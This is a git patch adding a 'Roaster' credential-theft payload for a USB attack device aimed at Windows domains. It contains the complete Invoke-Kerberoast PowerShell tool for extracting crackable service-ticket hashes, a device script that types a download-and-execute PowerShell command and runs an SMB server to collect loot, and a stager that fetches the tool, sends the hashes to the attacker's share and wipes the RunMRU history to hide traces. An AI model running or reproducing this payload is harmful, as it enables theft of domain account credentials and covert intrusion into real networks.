From be78dafbfcc8dad83004570ef81a30365575ae6c Mon Sep 17 00:00:00 2001 From: golem445 <25466672+golem445@users.noreply.github.com> Date: Sun, 20 May 2018 13:29:10 -0500 Subject: [PATCH] Add files via upload (#342) --- .../credentials/Roaster/invoke-kerberoast.ps1 | 803 ++++++++++++++++++ .../library/credentials/Roaster/payload.txt | 60 ++ .../library/credentials/Roaster/readme.md | 34 + payloads/library/credentials/Roaster/s.ps1 | 5 + 4 files changed, 902 insertions(+) create mode 100644 payloads/library/credentials/Roaster/invoke-kerberoast.ps1 create mode 100644 payloads/library/credentials/Roaster/payload.txt create mode 100644 payloads/library/credentials/Roaster/readme.md create mode 100644 payloads/library/credentials/Roaster/s.ps1 diff --git a/payloads/library/credentials/Roaster/invoke-kerberoast.ps1 b/payloads/library/credentials/Roaster/invoke-kerberoast.ps1 new file mode 100644 index 000000000..12159a678 --- /dev/null +++ b/payloads/library/credentials/Roaster/invoke-kerberoast.ps1 @@ -0,0 +1,803 @@ +<# + +Invoke-Kerberoast.ps1 +Author: Will Schroeder (@harmj0y), @machosec +License: BSD 3-Clause +Required Dependencies: None + +Credit to Tim Medin (@TimMedin) for the Kerberoasting concept and original toolset implementation (https://github.com/nidem/kerberoast). + +Note: the primary method of use will be Invoke-Kerberoast with various targeting options. + +#> + +function Get-DomainSearcher { +<# +.SYNOPSIS + +Helper used by various functions that builds a custom AD searcher object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-NetDomain + +.DESCRIPTION + +Takes a given domain and a number of customizations and returns a +System.DirectoryServices.DirectorySearcher object. This function is used +heavily by other LDAP/ADSI search function. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER SearchBasePrefix + +Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration"). + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the search. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainSearcher -Domain testlab.local + +Return a searcher for all objects in testlab.local. + +.EXAMPLE + +Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon' + +Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties. + +.EXAMPLE + +Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" + +Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU). + +.OUTPUTS + +System.DirectoryServices.DirectorySearcher +#> + + [OutputType('System.DirectoryServices.DirectorySearcher')] + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [String] + $SearchBasePrefix, + + [ValidateNotNullOrEmpty()] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1,10000)] + [Int] + $ResultPageSize = 200, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + + if ($Domain) { + $TargetDomain = $Domain + } + else { + $TargetDomain = (Get-NetDomain).name + } + + if ($Credential -eq [Management.Automation.PSCredential]::Empty) { + if (-not $Server) { + try { + # if there's no -Server specified, try to pull the primary DC to bind to + $BindServer = ((Get-NetDomain).PdcRoleOwner).Name + } + catch { + throw 'Get-DomainSearcher: Error in retrieving PDC for current domain' + } + } + } + elseif (-not $Server) { + try { + $BindServer = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name + } + catch { + throw 'Get-DomainSearcher: Error in retrieving PDC for current domain' + } + } + + $SearchString = 'LDAP://' + + if ($BindServer) { + $SearchString += $BindServer + if ($TargetDomain) { + $SearchString += '/' + } + } + + if ($SearchBasePrefix) { + $SearchString += $SearchBasePrefix + ',' + } + + if ($SearchBase) { + if ($SearchBase -Match '^GC://') { + # if we're searching the global catalog, get the path in the right format + $DN = $SearchBase.ToUpper().Trim('/') + $SearchString = '' + } + else { + if ($SearchBase -match '^LDAP://') { + if ($SearchBase -match "LDAP://.+/.+") { + $SearchString = '' + } + else { + $DN = $SearchBase.Substring(7) + } + } + else { + $DN = $SearchBase + } + } + } + else { + if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { + $DN = "DC=$($TargetDomain.Replace('.', ',DC='))" + } + } + + $SearchString += $DN + Write-Verbose "Get-DomainSearcher search string: $SearchString" + + if ($Credential -ne [Management.Automation.PSCredential]::Empty) { + Write-Verbose "Using alternate credentials for LDAP connection" + $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) + $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) + } + else { + $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) + } + + $Searcher.PageSize = $ResultPageSize + $Searcher.SearchScope = $SearchScope + $Searcher.CacheResults = $False + + if ($Tombstone) { + $Searcher.Tombstone = $True + } + + if ($LDAPFilter) { + $Searcher.filter = $LDAPFilter + } + + if ($SecurityMasks) { + $Searcher.SecurityMasks = Switch ($SecurityMasks) { + 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } + 'Group' { [System.DirectoryServices.SecurityMasks]::Group } + 'None' { [System.DirectoryServices.SecurityMasks]::None } + 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } + 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } + } + } + + if ($Properties) { + # handle an array of properties to load w/ the possibility of comma-separated strings + $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } + $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) + } + + $Searcher + } +} + + +function Convert-LDAPProperty { +<# +.SYNOPSIS + +Helper that converts specific LDAP property result fields and outputs +a custom psobject. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Converts a set of raw LDAP properties results from ADSI/LDAP searches +into a proper PSObject. Used by several of the Get-Net* function. + +.PARAMETER Properties + +Properties object to extract out LDAP fields for display. + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +A custom PSObject with LDAP hashtable properties translated. +#> + + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + $Properties + ) + + $ObjectProperties = @{} + + $Properties.PropertyNames | ForEach-Object { + if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { + # convert the SID to a string + $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0], 0)).Value + } + elseif ($_ -eq 'objectguid') { + # convert the GUID to a string + $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid + } + elseif ($_ -eq 'ntsecuritydescriptor') { + $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 + } + elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { + # convert timestamps + if ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # if we have a System.__ComObject + $Temp = $Properties[$_][0] + [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) + } + else { + # otherwise just a string + $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) + } + } + elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # try to convert misc com objects + $Prop = $Properties[$_] + try { + $Temp = $Prop[$_][0] + Write-Verbose $_ + [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) + } + catch { + $ObjectProperties[$_] = $Prop[$_] + } + } + elseif ($Properties[$_].count -eq 1) { + $ObjectProperties[$_] = $Properties[$_][0] + } + else { + $ObjectProperties[$_] = $Properties[$_] + } + } + + New-Object -TypeName PSObject -Property $ObjectProperties +} + + +function Get-NetDomain { +<# +.SYNOPSIS + +Returns a given domain object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current +domain or the domain specified with -Domain X. + +.PARAMETER Domain + +Specifies the domain name to query for, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-NetDomain -Domain testlab.local + +.OUTPUTS + +System.DirectoryServices.ActiveDirectory.Domain + +.LINK + +http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG +#> + + [OutputType('System.DirectoryServices.ActiveDirectory.Domain')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + if ($Credential -ne [Management.Automation.PSCredential]::Empty) { + + Write-Verbose "Using alternate credentials for Get-NetDomain" + + if (-not $Domain) { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $TargetDomain = $Credential.GetNetworkCredential().Domain + Write-Verbose "Extracted domain '$Domain' from -Credential" + } + else { + $TargetDomain = $Domain + } + + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password) + + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Verbose "The specified domain does '$TargetDomain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." + $Null + } + } + elseif ($Domain) { + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Verbose "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust." + $Null + } + } + else { + [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + } +} + + +function Get-SPNTicket { +<# +.SYNOPSIS + +Request the kerberos ticket for a specified service principal name (SPN). + +Author: @machosec, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This function will either take one/more SPN strings, or one/more PowerView.User objects +(the output from Get-NetUser) and will request a kerberos ticket for the given SPN +using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted +portion of the ticket is then extracted and output in either crackable John or Hashcat +format (deafult of John). + +.PARAMETER SPN + +Specifies the service principal name to request the ticket for. + +.PARAMETER User + +Specifies a PowerView.User object (result of Get-NetUser) to request the ticket for. + +.PARAMETER OutputFormat + +Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. +Defaults to 'John'. + +.EXAMPLE + +Get-SPNTicket -SPN "HTTP/web.testlab.local" + +Request a kerberos service ticket for the specified SPN. + +.EXAMPLE + +"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-SPNTicket + +Request kerberos service tickets for all SPNs passed on the pipeline. + +.EXAMPLE + +Get-NetUser -SPN | Get-SPNTicket -OutputFormat Hashcat + +Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format. + +.INPUTS + +String + +Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. + +.INPUTS + +PowerView.User + +Accepts one or more PowerView.User objects on the pipeline with the User parameter set. + +.OUTPUTS + +PowerView.SPNTicket + +Outputs a custom object containing the SamAccountName, DistinguishedName, ServicePrincipalName, and encrypted ticket section. +#> + + [OutputType('PowerView.SPNTicket')] + [CmdletBinding(DefaultParameterSetName='RawSPN')] + Param ( + [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)] + [ValidatePattern('.*/.*')] + [Alias('ServicePrincipalName')] + [String[]] + $SPN, + + [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)] + [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })] + [Object[]] + $User, + + [Parameter(Position = 1)] + [ValidateSet('John', 'Hashcat')] + [Alias('Format')] + [String] + $OutputFormat = 'John' + ) + + BEGIN { + $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') + } + + PROCESS { + if ($PSBoundParameters['User']) { + $TargetObject = $User + } + else { + $TargetObject = $SPN + } + + ForEach ($Object in $TargetObject) { + if ($PSBoundParameters['User']) { + $UserSPN = $Object.ServicePrincipalName + $SamAccountName = $Object.SamAccountName + $DistinguishedName = $Object.DistinguishedName + } + else { + $UserSPN = $Object + $SamAccountName = $Null + $DistinguishedName = $Null + } + + $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + $TicketByteStream = $Ticket.GetRequest() + if ($TicketByteStream) { + $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' + [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201' + $Parts.RemoveAt($Parts.Count - 1) + $Hash = $Parts -join 'A48201' + $Hash = $Hash.Insert(32, '$') + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName + $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName + $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName + + if ($OutputFormat -match 'John') { + $HashFormat = "`$krb5tgs`$unknown:$Hash" + } + else { + # hashcat output format + $HashFormat = '$krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=asdf,DC=pd,DC=fakedomain,DC=com SPN: F3514235-4C06-11D1-AB04-00D04FC2DCD2-GDCD/asdf.asdf.pd.fakedomain.com:50000 *' + $Hash + } + $Out | Add-Member Noteproperty 'Hash' $HashFormat + + $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') + + Write-Output $Out + break + } + } + } +} + + +function Invoke-Kerberoast { +<# +.SYNOPSIS + +Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes. + +Author: Will Schroeder (@harmj0y), @machosec +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Get-SPNTicket + +.DESCRIPTION + +Implements code from Get-NetUser to quyery for user accounts with non-null service principle +names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information. +The ticket format can be specified with -OutputFormat + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. By default all accounts will be queried for non-null SPNs. + +.PARAMETER AdminCount + +Switch. Return users with adminCount=1. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER OutputFormat + +Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. +Defaults to 'John'. + +.EXAMPLE + +Invoke-Kerberoast | fl + +SamAccountName : SQLService +DistinguishedName : CN=SQLService,CN=Users,DC=testlab,DC=local +ServicePrincipalName : MSSQLSvc/PRIMARY.testlab.local:1433 +Hash : $krb5tgs$unknown:30FFC786BECD0E88992CBBB017155C53$0343A9C8... + +.EXAMPLE + +Invoke-Kerberoast -Domain dev.testlab.local | ConvertTo-CSV -NoTypeInformation + +"SamAccountName","DistinguishedName","ServicePrincipalName","Hash" +"SQLSVC","CN=SQLSVC,CN=Users,DC=dev,DC=testlab,DC=local","MSSQLSvc/secondary.dev.testlab.local:1433","$krb5tgs$unknown:ECF4BDD1037D1D9E2E091ABBDC92F00E$0F3A4... + +.EXAMPLE + +Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl + +SamAccountName : SQLService +DistinguishedName : CN=SQLService,CN=Users,DC=testlab,DC=local +ServicePrincipalName : MSSQLSvc/PRIMARY.testlab.local:1433 +Hash : $krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Se + rvice,OU=Accounts,OU=EnterpriseObjects,DC=proddfs,DC=pf, + DC=fakedomain,DC=com SPN: H3514235-4C06-12D1-AB04-00D04F + C2DCD2-GDCD/asdf.asdf.pd.fakedomain.com:50000 *30 + FFC786BECD0E88992CBBB017155C53$0343A9C8A7EB90F059CD92B52 + .... + +.INPUTS + +String + +Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. + +.OUTPUTS + +PowerView.SPNTicket + +Outputs a custom object containing the SamAccountName, DistinguishedName, ServicePrincipalName, and encrypted ticket section. +#> + + [OutputType('PowerView.SPNTicket')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SamAccountName', 'Name')] + [String[]] + $Identity, + + [Switch] + $AdminCount, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1,10000)] + [Int] + $ResultPageSize = 200, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateSet('John', 'Hashcat')] + [Alias('Format')] + [String] + $OutputFormat = 'John' + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $UserSearcher = Get-DomainSearcher @SearcherArguments + + $GetSPNTicketArguments = @{} + if ($PSBoundParameters['OutputFormat']) { $GetSPNTicketArguments['OutputFormat'] = $OutputFormat } + + } + + PROCESS { + if ($UserSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_ + if ($IdentityInstance -match '^S-1-.*') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + else { + try { + $Null = [System.Guid]::Parse($IdentityInstance) + $IdentityFilter += "(objectguid=$IdentityInstance)" + } + catch { + $IdentityFilter += "(samAccountName=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + $Filter += '(servicePrincipalName=*)' + + if ($PSBoundParameters['AdminCount']) { + Write-Verbose 'Searching for adminCount=1' + $Filter += '(admincount=1)' + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" + Write-Verbose "Invoke-Kerberoast search filter string: $($UserSearcher.filter)" + + $Results = $UserSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $User = Convert-LDAPProperty -Properties $_.Properties + $User.PSObject.TypeNames.Insert(0, 'PowerView.User') + $User + } | Where-Object {$_.SamAccountName -notmatch 'krbtgt'} | Get-SPNTicket @GetSPNTicketArguments + + $Results.dispose() + $UserSearcher.dispose() + } + } +} \ No newline at end of file diff --git a/payloads/library/credentials/Roaster/payload.txt b/payloads/library/credentials/Roaster/payload.txt new file mode 100644 index 000000000..e989e30c8 --- /dev/null +++ b/payloads/library/credentials/Roaster/payload.txt @@ -0,0 +1,60 @@ +#!/bin/bash +# +# Title: Roaster +# Author: golem445 +# Version: 1.0 +# Dependencies: impacket, gohttp +# Runtime: ~10 seconds +# +# Sets up Ethernet and HID keyboard interfaces simultaneously, +# then uses HID to import Invoke-Kerberoast into memory via +# Bash Bunny web server and execute the attack. Results are +# exported to the loot directory via SMB. +# + +### Prep for attack ### +LED SETUP +REQUIRETOOL impacket gohttp +GET SWITCH_POSITION + +# Temporary loot directory +mkdir -p /loot/smb/ + +# Permanent loot directory +mkdir -p /root/udisk/loot/roaster_exfil/ + +# Set interfaces +ATTACKMODE RNDIS_ETHERNET HID + +# Start web server +cd /root/udisk/payloads/$SWITCH_POSITION +gohttp -p 80 & + +# Start SMB Server +python /tools/impacket/examples/smbserver.py s /loot/smb & + +### Start attack ### +LED ATTACK +RUN WIN powershell "IEX (New-object Net.Webclient).DownloadString('http://172.16.64.1/s.ps1')" + +# Wait until files are done copying. +LED STAGE2 +while ! [ -f /loot/smb/EXFILTRATION_COMPLETE ]; do sleep 1; done + +### Cleanup ### +LED CLEANUP + +# Delete Exfil file +rm /loot/smb/EXFILTRATION_COMPLETE + +# Move Kerberos SPNS to permanent loot directory +mv /loot/smb/* /root/udisk/loot/roaster_exfil/ + +# Clean up temporary loot directory +rm -rf /loot/smb/* + +# Sync file system +sync + +# Complete +LED FINISH \ No newline at end of file diff --git a/payloads/library/credentials/Roaster/readme.md b/payloads/library/credentials/Roaster/readme.md new file mode 100644 index 000000000..db4388f8b --- /dev/null +++ b/payloads/library/credentials/Roaster/readme.md @@ -0,0 +1,34 @@ +# Roaster +* Author: golem445 +* Version: 1.0 +* Target: Windows Domains + +## Description + +Sets up Ethernet and HID keyboard interfaces simultaneously, +then uses HID to import Invoke-Kerberoast into memory via +Bash Bunny web server and execute the attack. Results are +exported to the loot directory via SMB. + +Note: This module will bypass network restrictions on USB +disk drives as only a network card and keyboard are emulated. + +## Requirements + +Impacket and gohttp should be installed + +## STATUS + + +| Status | Description | +| ------------------- | ---------------------------------------- | +| Flashing Red | Impacket or gohttp not found | +| Solid Violet | Setup for attack | +| Flashing Amber | Attack in progress | +| Flashing Cyan | Cleaning up | +| Solid Green | Attack complete | + +## Credits + +* Tim Medin for Kerberoast +* Hak5Darren for SMB exfil \ No newline at end of file diff --git a/payloads/library/credentials/Roaster/s.ps1 b/payloads/library/credentials/Roaster/s.ps1 new file mode 100644 index 000000000..408c000aa --- /dev/null +++ b/payloads/library/credentials/Roaster/s.ps1 @@ -0,0 +1,5 @@ +IEX (New-Object Net.Webclient).DownloadString('http://172.16.64.1/Invoke-Kerberoast.ps1') +Invoke-Kerberoast -Outputformat Hashcat | fl > \\172.16.64.1\s\output.txt +New-Item -Path \\172.16.64.1\s -ItemType "file" -Name "EXFILTRATION_COMPLETE" -Value "EXFILTRATION_COMPLETE" +Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue +exit \ No newline at end of file